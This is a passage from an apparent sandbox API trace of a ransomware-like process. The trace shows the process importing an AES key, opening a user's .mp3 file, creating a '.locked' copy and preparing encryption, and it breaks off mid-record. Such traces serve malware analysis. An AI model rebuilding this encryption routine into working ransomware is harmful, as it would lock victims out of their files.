Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.699] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0134.699] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0134.699] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.699] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0134.699] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.699] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0134.699] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0134.699] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.700] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0134.700] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0134.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0134.700] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.700] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0134.700] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0134.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0134.700] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.700] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0134.700] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0134.700] SystemFunction041 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.700] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0134.700] SystemFunction040 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0134.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0134.700] SystemFunction041 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.701] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0134.701] SystemFunction040 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0134.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0134.701] SystemFunction041 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.701] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0134.701] SystemFunction040 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0134.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0134.701] SystemFunction041 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.701] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0134.701] SystemFunction040 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0134.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0134.701] SystemFunction041 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.701] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0134.701] SystemFunction040 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0134.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0134.701] SystemFunction041 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.702] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0134.702] SystemFunction040 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.702] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0134.702] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0134.702] SystemFunction041 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.702] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0134.702] SystemFunction040 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.702] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0134.702] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0134.702] SystemFunction041 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.702] SystemFunction040 (in: Memory=0x438302c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438302c) returned 0x0 [0134.702] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0134.702] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0134.702] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0134.702] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0134.703] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0134.703] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0134.703] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0134.703] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0134.703] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.703] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0134.703] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0134.704] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e027a0) returned 1 [0134.704] CryptImportKey (in: hProv=0x8e027a0, pbData=0x6927f90, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84cf8) returned 1 [0134.704] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.704] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.705] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\byp-giuubudzauzkh3.mp3")) returned 0x20 [0134.705] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\byp-giuubudzauzkh3.mp3")) returned 0x20 [0134.705] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", lpFilePart=0x0) returned 0x32 [0134.705] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", lpFilePart=0x0) returned 0x32 [0134.705] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.705] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", lpFilePart=0x0) returned 0x32 [0134.705] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", lpFilePart=0x0) returned 0x32 [0134.705] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.705] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.705] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.705] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.707] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", lpFilePart=0x0) returned 0x32 [0134.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0134.707] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\byp-giuubudzauzkh3.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0134.708] GetFileType (hFile=0x858) returned 0x1 [0134.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0134.708] GetFileType (hFile=0x858) returned 0x1 [0134.708] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.709] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0134.709] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.709] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.709] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.709] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3.locked", lpFilePart=0x0) returned 0x39 [0134.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0134.709] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\byp-giuubudzauzkh3.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0134.710] GetFileType (hFile=0x874) returned 0x1 [0134.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0134.710] GetFileType (hFile=0x874) returned 0x1 [0134.710] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.710] CryptGenRandom (in: hProv=0x8e027a0, dwLen=0x10, pbBuffer=0x693e120 | out: pbBuffer=0x693e120) returned 1 [0134.710] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.710] CryptDuplicateKey (in: hKey=0x8e84cf8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84d38) returned 1 [0134.710] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.710] CryptSetKeyParam (hKey=0x8e84d38, dwParam=0x4, pbData=0x693f3dc*=0x1, dwFlags=0x0) returned 1 [0134.710] CryptSetKeyParam (hKey=0x8e84d38, dwParam=0x1, pbData=0x693f3a8, dwFlags=0x0) returned 1 [0134.710] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x19f5\x73b9\xf620\x693") returned 0x0 [0134.710] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.711] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.711] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, 